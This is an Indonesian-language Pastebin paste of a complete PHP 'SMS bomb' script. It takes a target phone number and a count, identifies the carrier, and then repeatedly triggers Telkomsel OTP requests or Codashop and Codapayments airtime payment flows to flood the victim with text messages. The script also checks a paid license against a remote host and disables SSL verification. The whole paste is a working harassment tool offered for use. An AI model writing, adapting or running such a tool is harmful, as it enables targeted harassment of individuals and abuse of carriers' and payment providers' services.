Advertisement
kakatoji

bom all

May 17th, 2020
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.38 KB | None | 0 0
  1. <?php
  2. function auto($action, $payload) {
  3. $ch = curl_init();
  4. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  5. curl_setopt($ch, CURLOPT_URL, $action);
  6. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  7. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  8. curl_setopt($ch, CURLOPT_FAILONERROR, 0);
  9. if(isset($payload)) {
  10. curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
  11. }
  12. $data = curl_exec($ch);
  13. curl_close($ch);
  14. return $data;
  15. }
  16. function save($string, $path) {
  17. $fp = fopen($path, "w") or die(" \033[1;31m[!] Terjadi kesalahan perijinan storage!!!\033[1;33m\n");
  18. fwrite($fp, $string);
  19. fclose($fp);
  20. }
  21.  
  22. echo "\n\033[1;32m/* _\|/_
  23. (o o)
  24. +----oOO-{_}-OOo--------------------------------+
  25. | |
  26. | \033[1;35mTools Bom SMS All Operator\033[1;32m |
  27. | \033[1;35mBy BullyHat\033[1;32m |
  28. | |
  29. +----------------------------------------------*/\n\n";
  30.  
  31. $home_dir = $_SERVER['HOME'];
  32. if (!is_dir($home_dir.'/.config')) {
  33. mkdir($home_dir.'/.config');
  34. }
  35. if (!is_dir($home_dir.'/.config/BomSMS')) {
  36. mkdir($home_dir.'/.config/BomSMS');
  37. }
  38. $file_hwid = $home_dir.'/.config/BomSMS/hwid';
  39. $file_lisensi = $home_dir.'/.config/BomSMS/lisensi';
  40. if(!file_exists($file_hwid)) {
  41. $hwid = substr(str_shuffle(str_repeat("0123456789ABCDEF", 12)), 0, 12);
  42. save($hwid, $home_dir.'/.config/BomSMS/hwid');
  43. }else{
  44. $hwid = file_get_contents($home_dir.'/.config/BomSMS/hwid');
  45. }
  46. if(!file_exists($file_lisensi)) {
  47. echo " \033[1;31m[!] Maaf, \033[1;33m$hwid\033[1;31m belum memiliki lisensi.\n\033[1;32m";
  48. echo " \033[1;32m[\033[1;35m#\033[1;32m] Silahkan masukan lisensi anda!!!\n\033[1;32m";
  49. echo " \033[1;32m[\033[1;35m?\033[1;32m] Lisensi => \033[1;33m";
  50. $lisensi = trim(fgets(STDIN));
  51. if(isset($lisensi)) {
  52. save($hwid, $home_dir.'/.config/BomSMS/lisensi');
  53. }else{
  54. exit;
  55. }
  56. }else{
  57. $lisensi = file_get_contents($file_lisensi);
  58. }
  59. $chk_lisensi = file_get_contents("http://tools.cloudaccess.host/BomSMS.php?hwid=$hwid&lisensi=$lisensi");
  60. if($chk_lisensi == "valid") {
  61. echo " \033[1;32m[\033[1;35m?\033[1;32m] Nomor Target => \033[1;33m";
  62. $nomer = trim(fgets(STDIN));
  63. if($nomer == "" || !is_numeric($nomer)) {
  64. exit;
  65. }
  66. if(substr($nomer, 0, 1) === '0') {
  67. $nomer = '0' . substr($nomer, 1);
  68. $number = '' . substr($nomer, 1);
  69. }else if(substr($nomer, 0, 2) === '62') {
  70. $nomer = '0' . substr($nomer, 2);
  71. $number = '' . substr($nomer, 2);
  72. }
  73. echo " \033[1;32m[\033[1;35m?\033[1;32m] Jumlah Spam => \033[1;33m";
  74. $jumlah = trim(fgets(STDIN));
  75. $chk_op = json_decode(auto("https://www.hlrlookup.com/actions.php", "in_msisdn=62$number&action=validatenumber"), true);
  76. $operator = $chk_op['original_network_name'];
  77. $code = json_decode(file_get_contents("http://tools.cloudaccess.host/pay_code_codashop.json"), true);
  78. if($operator == 'Telkomsel') {
  79. $pay_code = $code['Telkomsel'];
  80. }else if($operator == 'IM3') {
  81. $pay_code = $code['Indosat'];
  82. }else if(in_array($operator, array('3', 'Hutchison'), true)) {
  83. $pay_code = $code['3'];
  84. }else if(in_array($operator, array('XL', 'AXIS'), true)) {
  85. $pay_code = $code['XL'];
  86. }else{
  87. die(" \033[1;31m[!] Cuma Suppport All GSM Indonesia Bosquh!!!\033[1;33m\n");
  88. }
  89. for($a=0;$a<$jumlah;$a++) {
  90. if($operator == 'Telkomsel') {
  91. auto("https://www.telkomsel.com/prepaid_registration/get_otp", "phone=$nomer", null);
  92. }else{
  93. $order_date = urlencode(gmdate('m/j/Y-Gi', time()+7*3600));
  94. $order = json_decode(auto("https://www.codashop.com/initPayment.action", "voucherPricePoint.id=$pay_code&voucherPricePoint.price=0&voucherPricePoint.variablePrice=0&email=admin%40gmail.com&n=$order_date&userVariablePrice=0"), true);
  95. $txnId = $order['txnId'];
  96. if(empty($txnId)) {
  97. die(" \033[1;31m[!] Terjadi kesalahan server, silahkan kontak pembuat!!!\033[1;33m\n");
  98. }
  99. $mcr_now = microtime(true);
  100. auto("https://airtime.codapayments.com/airtime/msisdn", "TxnId=$txnId&browser_type=mobile-web&MnoId=0&input_phone_number=$nomer");
  101. if(in_array($operator, array('IM3', 'AXIS', 'XL'), true)) {
  102. auto("https://airtime.codapayments.com/airtime/isconfirm?msisdn=$number&TxnId=$txnId&date=$mcr_now", null);
  103. }
  104. }
  105. $no = $a+1;
  106. print " \033[1;32m[\033[1;35m$no\033[1;32m] Sukses Mengirim Spam Ke \033[1;35m$nomer \033[1;32m√\n\033[1;32m";
  107. }
  108. }else{
  109. unlink($file_lisensi);
  110. die("\033[1;31m[!] Lisensi anda salah, silahkan hubungi WA +18544444197!!!\033[1;33m\n");
  111. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement